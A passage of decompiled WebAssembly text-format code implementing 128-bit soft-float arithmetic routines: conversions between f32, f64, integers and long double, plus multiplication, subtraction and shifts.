(i64.or
(i64.shl
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 32))
(i32.const 8)))
(i64.const 1))
(i64.shr_u
(local.tee $p1
(i64.load offset=32
(local.get $l5)))
(i64.const 63))))
(i64.extend_i32_u
(i64.lt_u
(local.tee $p4
(i64.load offset=48
(local.get $l5)))
(local.tee $p1
(i64.shl
(local.get $p1)
(i64.const 1)))))))
(local.set $p4
(i64.sub
(local.get $p4)
(local.get $p1))))
(call $f112
(i32.add
(local.get $l5)
(i32.const 16))
(local.get $p3)
(local.get $l14)
(i64.const 3)
(i64.const 0))
(call $f112
(local.get $l5)
(local.get $p3)
(local.get $l14)
(i64.const 5)
(i64.const 0))
(local.set $l12
(i64.or
(i64.add
(local.tee $p3
(i64.add
(local.tee $p2
(i64.add
(local.get $l11)
(i64.extend_i32_u
(i64.lt_u
(local.tee $p3
(i64.add
(local.get $p2)
(i64.extend_i32_u
(select
(i64.gt_u
(local.tee $p4
(i64.add
(local.tee $p1
(i64.and
(local.get $p2)
(i64.const 1)))
(local.get $p4)))
(local.get $p3))
(i64.gt_u
(local.tee $p1
(i64.add
(local.get $l13)
(i64.extend_i32_u
(i64.lt_u
(local.get $p4)
(local.get $p1)))))
(local.get $l14))
(i64.eq
(local.get $p1)
(local.get $l14))))))
(local.get $p2)))))
(i64.extend_i32_u
(i64.lt_u
(local.tee $p2
(i64.add
(local.get $p3)
(i64.extend_i32_u
(i32.and
(i64.lt_u
(local.get $p2)
(i64.const 9223090561878065152))
(select
(i64.gt_u
(local.get $p4)
(i64.load offset=16
(local.get $l5)))
(i64.gt_u
(local.get $p1)
(local.tee $p2
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 16))
(i32.const 8)))))
(i64.eq
(local.get $p1)
(local.get $p2)))))))
(local.get $p3)))))
(i64.extend_i32_u
(i64.lt_u
(local.tee $p1
(i64.add
(local.get $p2)
(i64.extend_i32_u
(i32.and
(i64.lt_u
(local.get $p3)
(i64.const 9223090561878065152))
(select
(i64.gt_u
(local.get $p4)
(i64.load
(local.get $l5)))
(i64.gt_u
(local.get $p1)
(local.tee $p4
(i64.load
(i32.add
(local.get $l5)
(i32.const 8)))))
(i64.eq
(local.get $p1)
(local.get $p4)))))))
(local.get $p2))))
(local.get $l12))))
(i64.store
(local.get $p0)
(local.get $p1))
(i64.store offset=8
(local.get $p0)
(local.get $l12))
(global.set $g0
(i32.add
(local.get $l5)
(i32.const 336))))
(func $f104 (type $t31) (param $p0 i32) (param $p1 f64)
(local $l2 i32) (local $l3 i32) (local $l4 i64) (local $l5 i64) (local $l6 i64)
(global.set $g0
(local.tee $l2
(i32.sub
(global.get $g0)
(i32.const 16))))
(block $B0
(block $B1
(br_if $B1
(i64.gt_u
(i64.add
(local.tee $l5
(i64.and
(local.tee $l4
(i64.reinterpret_f64
(local.get $p1)))
(i64.const 9223372036854775807)))
(i64.const -4503599627370496))
(i64.const 9214364837600034815)))
(local.set $l6
(i64.shl
(local.get $l5)
(i64.const 60)))
(local.set $l5
(i64.add
(i64.shr_u
(local.get $l5)
(i64.const 4))
(i64.const 4323455642275676160)))
(br $B0))
(block $B2
(br_if $B2
(i64.lt_u
(local.get $l5)
(i64.const 9218868437227405312)))
(local.set $l6
(i64.shl
(local.get $l4)
(i64.const 60)))
(local.set $l5
(i64.or
(i64.shr_u
(local.get $l4)
(i64.const 4))
(i64.const 9223090561878065152)))
(br $B0))
(block $B3
(br_if $B3
(i32.eqz
(i64.eqz
(local.get $l5))))
(local.set $l6
(i64.const 0))
(local.set $l5
(i64.const 0))
(br $B0))
(call $f100
(local.get $l2)
(local.get $l5)
(i64.const 0)
(i32.add
(local.tee $l3
(select
(i32.add
(i32.clz
(i32.wrap_i64
(local.get $l4)))
(i32.const 32))
(i32.clz
(i32.wrap_i64
(i64.shr_u
(local.get $l5)
(i64.const 32))))
(i64.lt_u
(local.get $l5)
(i64.const 4294967296))))
(i32.const 49)))
(local.set $l5
(i64.or
(i64.xor
(i64.load
(i32.add
(local.get $l2)
(i32.const 8)))
(i64.const 281474976710656))
(i64.shl
(i64.extend_i32_u
(i32.sub
(i32.const 15372)
(local.get $l3)))
(i64.const 48))))
(local.set $l6
(i64.load
(local.get $l2))))
(i64.store
(local.get $p0)
(local.get $l6))
(i64.store offset=8
(local.get $p0)
(i64.or
(local.get $l5)
(i64.and
(local.get $l4)
(i64.const -9223372036854775808))))
(global.set $g0
(i32.add
(local.get $l2)
(i32.const 16))))
(func $f105 (type $t32) (param $p0 i32) (param $p1 f32)
(local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i64) (local $l6 i64)
(global.set $g0
(local.tee $l2
(i32.sub
(global.get $g0)
(i32.const 16))))
(block $B0
(block $B1
(br_if $B1
(i32.gt_u
(i32.add
(local.tee $l4
(i32.and
(local.tee $l3
(i32.reinterpret_f32
(local.get $p1)))
(i32.const 2147483647)))
(i32.const -8388608))
(i32.const 2130706431)))
(local.set $l5
(i64.add
(i64.shl
(i64.extend_i32_u
(local.get $l4))
(i64.const 25))
(i64.const 4575657221408423936)))
(local.set $l6
(i64.const 0))
(br $B0))
(block $B2
(br_if $B2
(i32.lt_u
(local.get $l4)
(i32.const 2139095040)))
(local.set $l5
(i64.or
(i64.shl
(i64.extend_i32_u
(local.get $l3))
(i64.const 25))
(i64.const 9223090561878065152)))
(local.set $l6
(i64.const 0))
(br $B0))
(block $B3
(br_if $B3
(local.get $l4))
(local.set $l6
(i64.const 0))
(local.set $l5
(i64.const 0))
(br $B0))
(call $f100
(local.get $l2)
(i64.extend_i32_u
(local.get $l4))
(i64.const 0)
(i32.add
(local.tee $l4
(i32.clz
(local.get $l4)))
(i32.const 81)))
(local.set $l5
(i64.or
(i64.xor
(i64.load
(i32.add
(local.get $l2)
(i32.const 8)))
(i64.const 281474976710656))
(i64.shl
(i64.extend_i32_u
(i32.sub
(i32.const 16265)
(local.get $l4)))
(i64.const 48))))
(local.set $l6
(i64.load
(local.get $l2))))
(i64.store
(local.get $p0)
(local.get $l6))
(i64.store offset=8
(local.get $p0)
(i64.or
(local.get $l5)
(i64.shl
(i64.extend_i32_u
(i32.and
(local.get $l3)
(i32.const -2147483648)))
(i64.const 32))))
(global.set $g0
(i32.add
(local.get $l2)
(i32.const 16))))
(func $f106 (type $t7) (param $p0 i32) (param $p1 i32)
(local $l2 i32) (local $l3 i32) (local $l4 i64) (local $l5 i64)
(global.set $g0
(local.tee $l2
(i32.sub
(global.get $g0)
(i32.const 16))))
(block $B0
(block $B1
(br_if $B1
(local.get $p1))
(local.set $l4
(i64.const 0))
(local.set $l5
(i64.const 0))
(br $B0))
(call $f100
(local.get $l2)
(i64.extend_i32_u
(local.tee $l3
(i32.sub
(i32.xor
(local.get $p1)
(local.tee $l3
(i32.shr_s
(local.get $p1)
(i32.const 31))))
(local.get $l3))))
(i64.const 0)
(i32.add
(local.tee $l3
(i32.clz
(local.get $l3)))
(i32.const 81)))
(local.set $l5
(i64.or
(i64.add
(i64.xor
(i64.load
(i32.add
(local.get $l2)
(i32.const 8)))
(i64.const 281474976710656))
(i64.shl
(i64.extend_i32_u
(i32.sub
(i32.const 16414)
(local.get $l3)))
(i64.const 48)))
(i64.shl
(i64.extend_i32_u
(i32.and
(local.get $p1)
(i32.const -2147483648)))
(i64.const 32))))
(local.set $l4
(i64.load
(local.get $l2))))
(i64.store
(local.get $p0)
(local.get $l4))
(i64.store offset=8
(local.get $p0)
(local.get $l5))
(global.set $g0
(i32.add
(local.get $l2)
(i32.const 16))))
(func $f107 (type $t7) (param $p0 i32) (param $p1 i32)
(local $l2 i32) (local $l3 i64) (local $l4 i64)
(global.set $g0
(local.tee $l2
(i32.sub
(global.get $g0)
(i32.const 16))))
(block $B0
(block $B1
(br_if $B1
(local.get $p1))
(local.set $l3
(i64.const 0))
(local.set $l4
(i64.const 0))
(br $B0))
(call $f100
(local.get $l2)
(i64.extend_i32_u
(local.get $p1))
(i64.const 0)
(i32.add
(local.tee $p1
(i32.clz
(local.get $p1)))
(i32.const 81)))
(local.set $l4
(i64.add
(i64.xor
(i64.load
(i32.add
(local.get $l2)
(i32.const 8)))
(i64.const 281474976710656))
(i64.shl
(i64.extend_i32_u
(i32.sub
(i32.const 16414)
(local.get $p1)))
(i64.const 48))))
(local.set $l3
(i64.load
(local.get $l2))))
(i64.store
(local.get $p0)
(local.get $l3))
(i64.store offset=8
(local.get $p0)
(local.get $l4))
(global.set $g0
(i32.add
(local.get $l2)
(i32.const 16))))
(func $f108 (type $t2) (result i32)
(i32.const 0))
(func $f109 (type $t2) (result i32)
(i32.const 0))
(func $f110 (type $t10) (param $p0 i32) (param $p1 i64) (param $p2 i64) (param $p3 i32)
(local $l4 i64)
(block $B0
(block $B1
(br_if $B1
(i32.eqz
(i32.and
(local.get $p3)
(i32.const 64))))
(local.set $p1
(i64.shr_u
(local.get $p2)
(i64.extend_i32_u
(i32.add
(local.get $p3)
(i32.const -64)))))
(local.set $p2
(i64.const 0))
(br $B0))
(br_if $B0
(i32.eqz
(local.get $p3)))
(local.set $p1
(i64.or
(i64.shl
(local.get $p2)
(i64.extend_i32_u
(i32.sub
(i32.const 64)
(local.get $p3))))
(i64.shr_u
(local.get $p1)
(local.tee $l4
(i64.extend_i32_u
(local.get $p3))))))
(local.set $p2
(i64.shr_u
(local.get $p2)
(local.get $l4))))
(i64.store
(local.get $p0)
(local.get $p1))
(i64.store offset=8
(local.get $p0)
(local.get $p2)))
(func $f111 (type $t6) (param $p0 i32) (param $p1 i64) (param $p2 i64) (param $p3 i64) (param $p4 i64)
(local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i64) (local $l11 i64) (local $l12 i64) (local $l13 i64) (local $l14 i64) (local $l15 i64) (local $l16 i64) (local $l17 i64) (local $l18 i64) (local $l19 i64) (local $l20 i64) (local $l21 i64) (local $l22 i64) (local $l23 i64) (local $l24 i64)
(global.set $g0
(local.tee $l5
(i32.sub
(global.get $g0)
(i32.const 96))))
(local.set $l10
(i64.and
(local.get $p4)
(i64.const 281474976710655)))
(local.set $l11
(i64.and
(i64.xor
(local.get $p4)
(local.get $p2))
(i64.const -9223372036854775808)))
(local.set $l13
(i64.shr_u
(local.tee $l12
(i64.and
(local.get $p2)
(i64.const 281474976710655)))
(i64.const 32)))
(local.set $l6
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $p4)
(i64.const 48)))
(i32.const 32767)))
(block $B0
(block $B1
(block $B2
(br_if $B2
(i32.lt_u
(i32.add
(local.tee $l7
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $p2)
(i64.const 48)))
(i32.const 32767)))
(i32.const -32767))
(i32.const -32766)))
(local.set $l8
(i32.const 0))
(br_if $B1
(i32.gt_u
(i32.add
(local.get $l6)
(i32.const -32767))
(i32.const -32767))))
(block $B3
(br_if $B3
(select
(i64.eqz
(local.get $p1))
(i64.lt_u
(local.tee $l14
(i64.and
(local.get $p2)
(i64.const 9223372036854775807)))
(i64.const 9223090561878065152))
(i64.eq
(local.get $l14)
(i64.const 9223090561878065152))))
(local.set $l11
(i64.or
(local.get $p2)
(i64.const 140737488355328)))
(br $B0))
(block $B4
(br_if $B4
(select
(i64.eqz
(local.get $p3))
(i64.lt_u
(local.tee $p2
(i64.and
(local.get $p4)
(i64.const 9223372036854775807)))
(i64.const 9223090561878065152))
(i64.eq
(local.get $p2)
(i64.const 9223090561878065152))))
(local.set $l11
(i64.or
(local.get $p4)
(i64.const 140737488355328)))
(local.set $p1
(local.get $p3))
(br $B0))
(block $B5
(br_if $B5
(i64.ne
(i64.or
(local.get $p1)
(i64.xor
(local.get $l14)
(i64.const 9223090561878065152)))
(i64.const 0)))
(block $B6
(br_if $B6
(i32.eqz
(i64.eqz
(i64.or
(local.get $p3)
(local.get $p2)))))
(local.set $l11
(i64.const 9223231299366420480))
(local.set $p1
(i64.const 0))
(br $B0))
(local.set $l11
(i64.or
(local.get $l11)
(i64.const 9223090561878065152)))
(local.set $p1
(i64.const 0))
(br $B0))
(block $B7
(br_if $B7
(i64.ne
(i64.or
(local.get $p3)
(i64.xor
(local.get $p2)
(i64.const 9223090561878065152)))
(i64.const 0)))
(local.set $p2
(i64.or
(local.get $p1)
(local.get $l14)))
(local.set $p1
(i64.const 0))
(block $B8
(br_if $B8
(i32.eqz
(i64.eqz
(local.get $p2))))
(local.set $l11
(i64.const 9223231299366420480))
(br $B0))
(local.set $l11
(i64.or
(local.get $l11)
(i64.const 9223090561878065152)))
(br $B0))
(block $B9
(br_if $B9
(i64.ne
(i64.or
(local.get $p1)
(local.get $l14))
(i64.const 0)))
(local.set $p1
(i64.const 0))
(br $B0))
(block $B10
(br_if $B10
(i64.ne
(i64.or
(local.get $p3)
(local.get $p2))
(i64.const 0)))
(local.set $p1
(i64.const 0))
(br $B0))
(local.set $l8
(i32.const 0))
(block $B11
(br_if $B11
(i64.gt_u
(local.get $l14)
(i64.const 281474976710655)))
(call $f100
(i32.add
(local.get $l5)
(i32.const 80))
(local.get $p1)
(local.get $l12)
(i32.add
(local.tee $l8
(i32.wrap_i64
(i64.add
(i64.clz
(select
(local.get $p1)
(local.get $l12)
(local.tee $l8
(i64.eqz
(local.get $l12)))))
(i64.extend_i32_u
(i32.shl
(local.get $l8)
(i32.const 6))))))
(i32.const -15)))
(local.set $l8
(i32.sub
(i32.const 16)
(local.get $l8)))
(local.set $l13
(i64.shr_u
(local.tee $l12
(i64.load
(i32.add
(local.get $l5)
(i32.const 88))))
(i64.const 32)))
(local.set $p1
(i64.load offset=80
(local.get $l5))))
(br_if $B1
(i64.gt_u
(local.get $p2)
(i64.const 281474976710655)))
(call $f100
(i32.add
(local.get $l5)
(i32.const 64))
(local.get $p3)
(local.get $l10)
(i32.add
(local.tee $l9
(i32.wrap_i64
(i64.add
(i64.clz
(select
(local.get $p3)
(local.get $l10)
(local.tee $l9
(i64.eqz
(local.get $l10)))))
(i64.extend_i32_u
(i32.shl
(local.get $l9)
(i32.const 6))))))
(i32.const -15)))
(local.set $l8
(i32.add
(i32.sub
(local.get $l8)
(local.get $l9))
(i32.const 16)))
(local.set $l10
(i64.load
(i32.add
(local.get $l5)
(i32.const 72))))
(local.set $p3
(i64.load offset=64
(local.get $l5))))
(local.set $p1
(i64.add
(i64.extend_i32_u
(i64.lt_u
(local.tee $l18
(i64.add
(local.tee $l17
(i64.shl
(local.tee $l16
(i64.add
(local.tee $l15
(i64.mul
(local.tee $p2
(i64.and
(local.tee $l14
(i64.shl
(local.get $p3)
(i64.const 15)))
(i64.const 4294934528)))
(local.tee $p4
(i64.shr_u
(local.get $p1)
(i64.const 32)))))
(i64.mul
(local.tee $l14
(i64.shr_u
(local.get $l14)
(i64.const 32)))
(local.tee $p1
(i64.and
(local.get $p1)
(i64.const 4294967295))))))
(i64.const 32)))
(i64.mul
(local.get $p2)
(local.get $p1))))
(local.get $l17)))
(local.tee $l23
(i64.add
(local.tee $l15
(i64.add
(local.tee $l10
(i64.add
(local.tee $l17
(i64.add
(local.tee $l19
(i64.mul
(local.get $p2)
(local.tee $l12
(i64.and
(local.get $l12)
(i64.const 4294967295)))))
(i64.mul
(local.get $l14)
(local.get $p4))))
(i64.mul
(local.tee $p3
(i64.and
(local.tee $l20
(i64.or
(i64.shl
(local.get $l10)
(i64.const 15))
(i64.shr_u
(local.get $p3)
(i64.const 49))))
(i64.const 4294967295)))
(local.get $p1))))
(i64.or
(i64.shr_u
(local.get $l16)
(i64.const 32))
(i64.shl
(i64.extend_i32_u
(i64.lt_u
(local.get $l16)
(local.get $l15)))
(i64.const 32)))))
(i64.shl
(local.tee $l22
(i64.add
(local.tee $l20
(i64.add
(local.tee $l13
(i64.add
(local.tee $l21
(i64.mul
(local.get $p2)
(local.tee $l16
(i64.or
(local.get $l13)
(i64.const 65536)))))
(i64.mul
(local.get $l14)
(local.get $l12))))
(i64.mul
(local.tee $p2
(i64.or
(i64.shr_u
(local.get $l20)
(i64.const 32))
(i64.const 2147483648)))
(local.get $p1))))
(i64.mul
(local.get $p3)
(local.get $p4))))
(i64.const 32))))))
(local.set $l6
(i32.add
(i32.add
(i32.add
(local.get $l7)
(local.get $l6))
(local.get $l8))
(i32.const -16383)))
(block $B12
(block $B13
(br_if $B13
(i64.eqz
(i64.and
(local.tee $p4
(i64.add
(i64.add
(i64.add
(i64.add
(i64.add
(i64.add
(i64.add
(i64.extend_i32_u
(i64.lt_u
(local.tee $p4
(i64.add
(local.tee $l24
(i64.mul
(local.get $p2)
(local.get $p4)))
(i64.mul
(local.get $l14)
(local.get $l16))))
(local.get $l24)))
(i64.extend_i32_u
(i64.lt_u
(local.tee $l14
(i64.add
(local.get $p4)
(i64.mul
(local.get $p3)
(local.get $l12))))
(local.get $p4))))
(i64.mul
(local.get $p2)
(local.get $l16)))
(i64.extend_i32_u
(i64.lt_u
(local.tee $p4
(i64.add
(local.get $l14)
(i64.add
(i64.extend_i32_u
(i64.lt_u
(local.get $l17)
(local.get $l19)))
(i64.extend_i32_u
(i64.lt_u
(local.get $l10)
(local.get $l17))))))
(local.get $l14))))
(i64.or
(i64.shl
(i64.extend_i32_u
(i64.lt_u
(local.tee $p2
(i64.add
(local.tee $p3
(i64.mul
(local.get $p3)
(local.get $l16)))
(i64.mul
(local.get $p2)
(local.get $l12))))
(local.get $p3)))
(i64.const 32))
(i64.shr_u
(local.get $p2)
(i64.const 32))))
(i64.extend_i32_u
(i64.lt_u
(local.tee $p2
(i64.add
(local.get $p4)
(i64.shl
(local.get $p2)
(i64.const 32))))
(local.get $p4))))
(i64.extend_i32_u
(i64.lt_u
(local.tee $p4
(i64.add
(local.get $p2)
(i64.or
(i64.shr_u
(local.get $l22)
(i64.const 32))
(i64.shl
(i64.add
(i64.add
(i64.extend_i32_u
(i64.lt_u
(local.get $l13)
(local.get $l21)))
(i64.extend_i32_u
(i64.lt_u
(local.get $l20)
(local.get $l13))))
(i64.extend_i32_u
(i64.lt_u
(local.get $l22)
(local.get $l20))))
(i64.const 32)))))
(local.get $p2))))
(i64.extend_i32_u
(i64.lt_u
(local.tee $p2
(i64.add
(local.get $p4)
(i64.add
(i64.extend_i32_u
(i64.lt_u
(local.get $l15)
(local.get $l10)))
(i64.extend_i32_u
(i64.lt_u
(local.get $l23)
(local.get $l15))))))
(local.get $p4)))))
(i64.const 281474976710656))))
(local.set $l6
(i32.add
(local.get $l6)
(i32.const 1)))
(br $B12))
(local.set $p3
(i64.shr_u
(local.get $l18)
(i64.const 63)))
(local.set $p4
(i64.or
(i64.shl
(local.get $p4)
(i64.const 1))
(i64.shr_u
(local.get $p2)
(i64.const 63))))
(local.set $p2
(i64.or
(i64.shl
(local.get $p2)
(i64.const 1))
(i64.shr_u
(local.get $p1)
(i64.const 63))))
(local.set $l18
(i64.shl
(local.get $l18)
(i64.const 1)))
(local.set $p1
(i64.or
(local.get $p3)
(i64.shl
(local.get $p1)
(i64.const 1)))))
(block $B14
(br_if $B14
(i32.lt_s
(local.get $l6)
(i32.const 32767)))
(local.set $l11
(i64.or
(local.get $l11)
(i64.const 9223090561878065152)))
(local.set $p1
(i64.const 0))
(br $B0))
(block $B15
(block $B16
(br_if $B16
(i32.gt_s
(local.get $l6)
(i32.const 0)))
(block $B17
(br_if $B17
(i32.lt_u
(local.tee $l7
(i32.sub
(i32.const 1)
(local.get $l6)))
(i32.const 128)))
(local.set $p1
(i64.const 0))
(br $B0))
(call $f100
(i32.add
(local.get $l5)
(i32.const 48))
(local.get $l18)
(local.get $p1)
(local.tee $l6
(i32.add
(local.get $l6)
(i32.const 127))))
(call $f100
(i32.add
(local.get $l5)
(i32.const 32))
(local.get $p2)
(local.get $p4)
(local.get $l6))
(call $f110
(i32.add
(local.get $l5)
(i32.const 16))
(local.get $l18)
(local.get $p1)
(local.get $l7))
(call $f110
(local.get $l5)
(local.get $p2)
(local.get $p4)
(local.get $l7))
(local.set $l18
(i64.or
(i64.or
(i64.load offset=32
(local.get $l5))
(i64.load offset=16
(local.get $l5)))
(i64.extend_i32_u
(i64.ne
(i64.or
(i64.load offset=48
(local.get $l5))
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 48))
(i32.const 8))))
(i64.const 0)))))
(local.set $p1
(i64.or
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 32))
(i32.const 8)))
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 16))
(i32.const 8)))))
(local.set $p4
(i64.load
(i32.add
(local.get $l5)
(i32.const 8))))
(local.set $p2
(i64.load
(local.get $l5)))
(br $B15))
(local.set $p4
(i64.or
(i64.shl
(i64.extend_i32_u
(local.get $l6))
(i64.const 48))
(i64.and
(local.get $p4)
(i64.const 281474976710655)))))
(local.set $l11
(i64.or
(local.get $p4)
(local.get $l11)))
(block $B18
(br_if $B18
(select
(i64.eqz
(local.get $l18))
(i64.gt_s
(local.get $p1)
(i64.const -1))
(i64.eq
(local.get $p1)
(i64.const -9223372036854775808))))
(local.set $l11
(i64.add
(local.get $l11)
(i64.extend_i32_u
(i64.lt_u
(local.tee $p1
(i64.add
(local.get $p2)
(i64.const 1)))
(local.get $p2)))))
(br $B0))
(block $B19
(br_if $B19
(i64.eq
(i64.or
(local.get $l18)
(i64.xor
(local.get $p1)
(i64.const -9223372036854775808)))
(i64.const 0)))
(local.set $p1
(local.get $p2))
(br $B0))
(local.set $l11
(i64.add
(local.get $l11)
(i64.extend_i32_u
(i64.lt_u
(local.tee $p1
(i64.add
(local.get $p2)
(i64.and
(local.get $p2)
(i64.const 1))))
(local.get $p2))))))
(i64.store
(local.get $p0)
(local.get $p1))
(i64.store offset=8
(local.get $p0)
(local.get $l11))
(global.set $g0
(i32.add
(local.get $l5)
(i32.const 96))))
(func $f112 (type $t6) (param $p0 i32) (param $p1 i64) (param $p2 i64) (param $p3 i64) (param $p4 i64)
(local $l5 i64)
(i64.store offset=8
(local.get $p0)
(i64.add
(i64.add
(i64.add
(i64.add
(i64.mul
(local.get $p4)
(local.get $p1))
(i64.mul
(local.get $p2)
(local.get $p3)))
(i64.mul
(local.tee $p4
(i64.shr_u
(local.get $p3)
(i64.const 32)))
(local.tee $p2
(i64.shr_u
(local.get $p1)
(i64.const 32)))))
(i64.shr_u
(local.tee $p3
(i64.add
(i64.shr_u
(local.tee $l5
(i64.mul
(local.tee $p3
(i64.and
(local.get $p3)
(i64.const 4294967295)))
(local.tee $p1
(i64.and
(local.get $p1)
(i64.const 4294967295)))))
(i64.const 32))
(i64.mul
(local.get $p3)
(local.get $p2))))
(i64.const 32)))
(i64.shr_u
(local.tee $p3
(i64.add
(i64.and
(local.get $p3)
(i64.const 4294967295))
(i64.mul
(local.get $p4)
(local.get $p1))))
(i64.const 32))))
(i64.store
(local.get $p0)
(i64.or
(i64.shl
(local.get $p3)
(i64.const 32))
(i64.and
(local.get $l5)
(i64.const 4294967295)))))
(func $f113 (type $t6) (param $p0 i32) (param $p1 i64) (param $p2 i64) (param $p3 i64) (param $p4 i64)
(local $l5 i32)
(global.set $g0
(local.tee $l5
(i32.sub
(global.get $g0)
(i32.const 16))))
(call $f99
(local.get $l5)
(local.get $p1)
(local.get $p2)
(local.get $p3)
(i64.xor
(local.get $p4)
(i64.const -9223372036854775808)))
(local.set $p1
(i64.load
(local.get $l5)))
(i64.store offset=8
(local.get $p0)
(i64.load
(i32.add
(local.get $l5)
(i32.const 8))))
(i64.store
(local.get $p0)
(local.get $p1))
(global.set $g0
(i32.add
(local.get $l5)
(i32.const 16))))
(func $f114 (type $t33) (param $p0 i64) (param $p1 i64) (result f64)
(local $l2 i32) (local $l3 i32) (local $l4 i64) (local $l5 i64)
(global.set $g0
(local.tee $l2
(i32.sub
(global.get $g0)
(i32.const 32))))
(block $B0
(block $B1
(br_if $B1
(i64.ge_u
(i64.add
(local.tee $l4
(i64.and
(local.get $p1)
(i64.const 9223372036854775807)))
(i64.const -4323737117252386816))
(i64.add
(local.get $l4)
(i64.const -4899634919602388992))))
(local.set $l4
(i64.or
(i64.shr_u
(local.get $p0)
(i64.const 60))
(i64.shl
(local.get $p1)
(i64.const 4))))
(block $B2
(br_if $B2
(i64.lt_u
(local.tee $p0
(i64.and
(local.get $p0)
(i64.const 1152921504606846975)))
(i64.const 576460752303423489)))
(local.set $l5
(i64.add
(local.get $l4)
(i64.const 4611686018427387905)))
(br $B0))
(local.set $l5
(i64.add
(local.get $l4)
(i64.const 4611686018427387904)))
(br_if $B0
(i64.ne
(i64.xor
(local.get $p0)
(i64.const 576460752303423488))
(i64.const 0)))
(local.set $l5
(i64.add
(local.get $l5)
(i64.and
(local.get $l4)
(i64.const 1))))
(br $B0))
(block $B3
(br_if $B3
(select
(i64.eqz
(local.get $p0))
(i64.lt_u
(local.get $l4)
(i64.const 9223090561878065152))
(i64.eq
(local.get $l4)
(i64.const 9223090561878065152))))
(local.set $l5
(i64.or
(i64.and
(i64.or
(i64.shr_u
(local.get $p0)
(i64.const 60))
(i64.shl
(local.get $p1)
(i64.const 4)))
(i64.const 2251799813685247))
(i64.const 9221120237041090560)))
(br $B0))
(local.set $l5
(i64.const 9218868437227405312))
(br_if $B0
(i64.gt_u
(local.get $l4)
(i64.const 4899634919602388991)))
(local.set $l5
(i64.const 0))
(br_if $B0
(i32.lt_u
(local.tee $l3
(i32.wrap_i64
(i64.shr_u
(local.get $l4)
(i64.const 48))))
(i32.const 15249)))
(call $f100
(i32.add
(local.get $l2)
(i32.const 16))
(local.get $p0)
(local.tee $l4
(i64.or
(i64.and
(local.get $p1)
(i64.const 281474976710655))
(i64.const 281474976710656)))
(i32.add
(local.get $l3)
(i32.const -15233)))
(call $f110
(local.get $l2)
(local.get $p0)
(local.get $l4)
(i32.sub
(i32.const 15361)
(local.get $l3)))
(local.set $l5
(i64.or
(i64.shr_u
(local.tee $l4
(i64.load
(local.get $l2)))
(i64.const 60))
(i64.shl
(i64.load
(i32.add
(local.get $l2)
(i32.const 8)))
(i64.const 4))))
(block $B4
(br_if $B4
(i64.lt_u
(local.tee $l4
(i64.or
(i64.and
(local.get $l4)
(i64.const 1152921504606846975))
(i64.extend_i32_u
(i64.ne
(i64.or
(i64.load offset=16
(local.get $l2))
(i64.load
(i32.add
(i32.add
(local.get $l2)
(i32.const 16))
(i32.const 8))))
(i64.const 0)))))
(i64.const 576460752303423489)))
(local.set $l5
(i64.add
(local.get $l5)
(i64.const 1)))
(br $B0))
(br_if $B0
(i64.ne
(i64.xor
(local.get $l4)
(i64.const 576460752303423488))
(i64.const 0)))
(local.set $l5
(i64.add
(i64.and
(local.get $l5)
(i64.const 1))
(local.get $l5))))
(global.set $g0
(i32.add
(local.get $l2)
(i32.const 32)))
(f64.reinterpret_i64
(i64.or
(local.get $l5)
(i64.and
(local.get $p1)
(i64.const -9223372036854775808)))))
(func $f115 (type $t34) (param $p0 i64) (param $p1 i64) (result f32)
(local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i64)
(global.set $g0
(local.tee $l2
(i32.sub
(global.get $g0)
(i32.const 32))))
(block $B0
(block $B1
(br_if $B1
(i64.ge_u
(i64.add
(local.tee $l5
(i64.and
(local.get $p1)
(i64.const 9223372036854775807)))
(i64.const -4575938696385134592))
(i64.add
(local.get $l5)
(i64.const -4647433340469641216))))
(local.set $l3
(i32.wrap_i64
(i64.shr_u
(local.get $p1)
(i64.const 25))))
(block $B2
(br_if $B2
(select
(i64.eqz
(local.get $p0))
(i64.lt_u
(local.tee $l5
(i64.and
(local.get $p1)
(i64.const 33554431)))
(i64.const 16777216))
(i64.eq
(local.get $l5)
(i64.const 16777216))))
(local.set $l4
(i32.add
(local.get $l3)
(i32.const 1073741825)))
(br $B0))
(local.set $l4
(i32.add
(local.get $l3)
(i32.const 1073741824)))
(br_if $B0
(i64.ne
(i64.or
(local.get $p0)
(i64.xor
(local.get $l5)
(i64.const 16777216)))
(i64.const 0)))
(local.set $l4
(i32.add
(local.get $l4)
(i32.and
(local.get $l3)
(i32.const 1))))
(br $B0))
(block $B3
(br_if $B3
(select
(i64.eqz
(local.get $p0))
(i64.lt_u
(local.get $l5)
(i64.const 9223090561878065152))
(i64.eq
(local.get $l5)
(i64.const 9223090561878065152))))
(local.set $l4
(i32.or
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $p1)
(i64.const 25)))
(i32.const 4194303))
(i32.const 2143289344)))
(br $B0))
(local.set $l4
(i32.const 2139095040))
(br_if $B0
(i64.gt_u
(local.get $l5)
(i64.const 4647433340469641215)))
(local.set $l4
(i32.const 0))
(br_if $B0
(i32.lt_u
(local.tee $l3
(i32.wrap_i64
(i64.shr_u
(local.get $l5)
(i64.const 48))))
(i32.const 16145)))
(call $f100
(i32.add
(local.get $l2)
(i32.const 16))
(local.get $p0)
(local.tee $l5
(i64.or
(i64.and
(local.get $p1)
(i64.const 281474976710655))
(i64.const 281474976710656)))
(i32.add
(local.get $l3)
(i32.const -16129)))
(call $f110
(local.get $l2)
(local.get $p0)
(local.get $l5)
(i32.sub
(i32.const 16257)
(local.get $l3)))
(local.set $l4
(i32.wrap_i64
(i64.shr_u
(local.tee $l5
(i64.load
(i32.add
(local.get $l2)
(i32.const 8))))
(i64.const 25))))
(block $B4
(br_if $B4
(select
(i64.eqz
(local.tee $p0
(i64.or
(i64.load
(local.get $l2))
(i64.extend_i32_u
(i64.ne
(i64.or
(i64.load offset=16
(local.get $l2))
(i64.load
(i32.add
(i32.add
(local.get $l2)
(i32.const 16))
(i32.const 8))))
(i64.const 0))))))
(i64.lt_u
(local.tee $l5
(i64.and
(local.get $l5)
(i64.const 33554431)))
(i64.const 16777216))
(i64.eq
(local.get $l5)
(i64.const 16777216))))
(local.set $l4
(i32.add
